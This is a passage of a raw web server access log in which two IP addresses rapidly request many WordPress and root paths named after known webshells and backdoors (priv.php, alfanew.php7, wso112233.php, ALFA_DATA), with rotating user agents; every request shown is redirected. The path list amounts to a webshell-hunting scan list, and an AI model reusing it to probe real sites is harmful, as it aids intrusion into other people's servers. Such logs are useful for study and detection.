HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:34 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:34 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:35 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:22:35 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:22:35 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:35 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:36 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:36 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:36 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:22:37 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:37 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 